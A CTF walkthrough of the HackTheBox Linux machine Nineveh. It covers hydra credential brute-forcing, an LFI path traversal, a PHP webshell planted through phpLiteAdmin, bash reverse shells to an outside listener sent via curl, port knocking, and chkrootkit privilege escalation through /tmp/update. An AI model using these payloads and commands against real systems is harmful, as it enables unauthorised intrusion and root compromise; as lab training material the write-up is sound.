Overview
Nineveh is a medium HackTheBox Linux machine that runs two separate web applications across HTTP and HTTPS. Brute-forced credentials unlock a department portal with a local file inclusion bug, but LFI alone isn’t enough for execution, a phpLiteAdmin instance on the HTTPS side is used to plant a malicious database file that the LFI can then include and run as PHP. An SSH private key hidden inside an image with steganography grants access to a second user, gated behind port knocking, and root comes from a scheduled chkrootkit scan that blindly executes a file at a predictable path.
Attack Chain
- Scan the target and find only
HTTPandHTTPS - Add
nineveh.htbto/etc/hosts - Fuzz port
80and find a/departmentlogin portal - Brute force the username and then the password with
hydra - Log in and find a
Notespage hinting at a local file inclusion path requiring the stringninevehNotes - Confirm LFI once that string is included in the path
- On port
443, fuzz and findsecure_notesanddb - Recover a hidden SSH private key from an image using
strings(orbinwalkextraction as an alternative) - Identify
dbas aphpLiteAdmin 1.9login and brute force its password withhydra - Log in and rename a database to
ninevehNotes.php, embedding a PHP webshell payload inside it - Combine the
phpLiteAdmin-planted file with the LFI to achieve remote code execution - Get a reverse shell as
www-data - Find a mail hint suggesting port knocking is required to reach
SSH - Confirm the exact knock sequence via
/etc/knockd.conf - Perform the port knock with a scripted
nmaploop, opening port22 - Use the recovered SSH key to log in as
amroisand read the user flag - Find a cron job running
report-reset.sh, and usepspy64to observechkrootkitrunning periodically as root - Exploit a known
chkrootkitvulnerability by placing a malicious script at/tmp/update - Catch a root shell when the cron-triggered scan executes it
- Read the root flag
Enumeration
Port Scanning
We start by defining the target and running a full TCP port scan.
export IP=10.129.1.241; export NAME=NINEVEH; echo $IP; echo $NAME; ping $IP -c 1
nmap --min-rate 4500 --max-rtt-timeout 1500ms $IP -p- -v -oA scans/nmap_allports_$NAME
The open TCP ports are:
80,443
We export the discovered ports and run a service and version scan.
ports=$(cat scans/nmap_allports_$NAME.nmap | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//); echo $ports
nmap $IP -p$ports -A -oA scans/nmap_initial_$NAME -v

We add nineveh.htb to our /etc/hosts.
Web Enumeration
Port 80 - Finding /department
Browsing to port 80 shows a basic Apache landing page.

dirsearch -u http://nineveh.htb/ -t 100 -o ./scans/dirsearch_${NAME}_default.txt -x 403 -r

Web fuzzing also finds /info.php.

We fuzz further.
ffuf -u http://nineveh.htb/FUZZ -c -ic -r -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 | tee scans/fuf_${NAME}_${PORT}_dir23med.txt
We find /department.

Brute Forcing /department
We try test:test and get an invalid username error, meaning we can brute force the username.

We try admin:admin and get Invalid Password, the admin user is confirmed.

We use hydra to brute force the password.
hydra -l admin -P /usr/share/wordlists/rockyou.txt nineveh.htb http-post-form "/department/login.php:username=^USER^&password=^PASS^:Invalid Password"
We find a password.

admin:1q2w3e4r5t
We log in and see an Under Construction message.

Finding the LFI
We navigate to Notes and find interesting information: a secret folder and a potential file path for exploiting LFI.

Based on the web path, we try LFI:
http://nineveh.htb/department/manage.php?notes=files/../../../etc/passwd
We get an error, No Note is selected.

Including ninevehNotes in the payload works:
http://nineveh.htb/department/manage.php?notes=files/ninevehNotes/../../../../../../../etc/passwd

Port 443 - secure_notes and db
Browsing to port 443 shows a basic page with a single image.

We fuzz this site too.
ffuf -u https://nineveh.htb/FUZZ -c -ic -r -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 | tee scans/fuf_${NAME}_${PORT}_dir23med.txt
We find db and secure_notes. secure_notes is a single page containing an image.

Recovering a Hidden SSH Key
We download the image. exiftool reveals nothing, but strings finds an SSH key for the user amrois.
strings nineveh.png


We save the key on our attacking machine for later.

Alternative way to get the SSH key: we use binwalk to examine the PNG.
binwalk nineveh.png
We see a tar archive embedded inside.

We extract it.
binwalk -e nineveh.png

The extracted folder contains the same SSH private key.


Foothold
phpLiteAdmin Login
The /db endpoint is a login for phpLiteAdmin 1.9.

We find a public exploit for phpLiteAdmin 1.9.3:
https://www.exploit-db.com/exploits/24044
Since it only has a password field, we brute force it with hydra, using a request captured in BurpSuite and telling hydra not to expect a username.
hydra -l none -P /usr/share/wordlists/rockyou.txt nineveh.htb https-post-form "/db/index.php:password=^PASS^&remember=yes&login=Log+In&proc_login=true:Incorrect password" -v
We find a password.

password123
We log in.

Combining phpLiteAdmin with LFI
We follow the exploit. We create a database called ninevehNotes.php, since our LFI vulnerability requires the string ninevehNotes to trigger, and rename the test database to it.


<?php system($_GET['cmd']); ?>

We first try ?cmd=id, but get an error message.

Changing to &cmd=id gives a syntax error instead.

We change our webshell payload from single quotes to double quotes:
<?php system($_GET["cmd"]); ?>
We save the changes.

Full payload:
http://nineveh.htb/department/manage.php?notes=/var/tmp/ninevehNotes.php&cmd=id
We now have code execution.

Reverse Shell as www-data
We check the request in BurpSuite, specifically for the PHPSESSID, to move to curl.

For our curl command, we pipe the output through sed -n with a range selector /start_pattern/,/end_pattern/p, so it prints everything between the start and end of the range:
sed -n '/<pre>/,/<\/pre>/p'
Adding this to our curl command:
curl -s -H 'Cookie: PHPSESSID=8tidn8ccjtce96trvp9casgcp4' 'http://nineveh.htb/department/manage.php?notes=/var/tmp/ninevehNotes.php' --data-urlencode "cmd=id" -G --output - | sed -n '/<pre>/,/<\/pre>/p'
This gives much more readable output.

We start a penelope listener on port 443. Our first reverse shell attempt fails:
bash -i >& /dev/tcp/10.10.14.11/443 0>&1
Wrapping it in bash -c to ensure it executes with bash works instead:
bash -c 'bash -i >& /dev/tcp/10.10.14.11/443 0>&1'
Our curl payload:
curl -s -H 'Cookie: PHPSESSID=8tidn8ccjtce96trvp9casgcp4' 'http://nineveh.htb/department/manage.php?notes=/var/tmp/ninevehNotes.php' --data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/10.10.14.11/443 0>&1'" -G --output - | sed -n '/<pre>/,/<\/pre>/p'
We don’t get a response from the target itself.

But we have a shell as www-data.

Lateral Movement
Port Knocking
In /var/mail we find a file named amrois, suggesting port knocking, likely so we can use the SSH key found hidden in the image.

We could also find the port knocking configuration directly in /etc/knockd.conf, which confirms SSH on port 22 as the destination.

We use a for loop with nmap to perform the knock. Here’s a basic test:
for i in 571 290 911; echo $i
We pipe it to echo just to test the sequence.

For the real knock, we want to send exactly one packet to each port in the correct sequence, so we use -Pn, --max-retries 0 so the port doesn’t respond, and a short --host-timeout:
for i in 571 290 911; do nmap $IP -Pn --host-timeout 100 --max-retries 0 -p $i; done
The knock completes.

Port 22 is now open.

We set permissions on the SSH key we found earlier.
chmod 600 amrois.key
And connect.
ssh amrois@$IP -i amrois.key
We have a shell as amrois.

We read the user flag.

Privilege Escalation
Finding chkrootkit
We run linpeas.sh and see a cron job called report-reset.sh.

We view the script and its permissions.
ls -la /usr/sbin/report-reset.sh
cat /usr/sbin/report-reset.sh
It belongs to amrois and deletes all .txt files in /report.

We run pspy64 for 5 minutes.
timeout 5m ./pspy64
We see a lot of chkrootkit commands being executed.

Exploiting chkrootkit
We find a public exploit for chkrootkit where a file at /tmp/update gets executed as root:
https://www.exploit-db.com/exploits/33899
We create a reverse shell script called update and place it in /tmp. We start our penelope listener first.
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.11/443 0>&1
We create the script, make it executable with chmod +x, and wait.

We get a shell as root.

We read the root flag.

Key Takeaways
Nineveh is a good example of how two individually limited vulnerabilities can combine into something neither could achieve alone: local file inclusion without write access is only a read primitive, but phpLiteAdmin’s ability to create and rename database files supplied the missing write access, turning the pair into full remote code execution. Steganography and port knocking added obscurity but not real security, once the hidden SSH key was found with basic tools like strings, the port knock sequence was just a matter of reading a config file. Root, in the end, came down to trusting a well-known security scanner (chkrootkit) that itself executed an attacker-writable file path without verification, a reminder that security tooling isn’t automatically exempt from the same scrutiny as any other privileged process.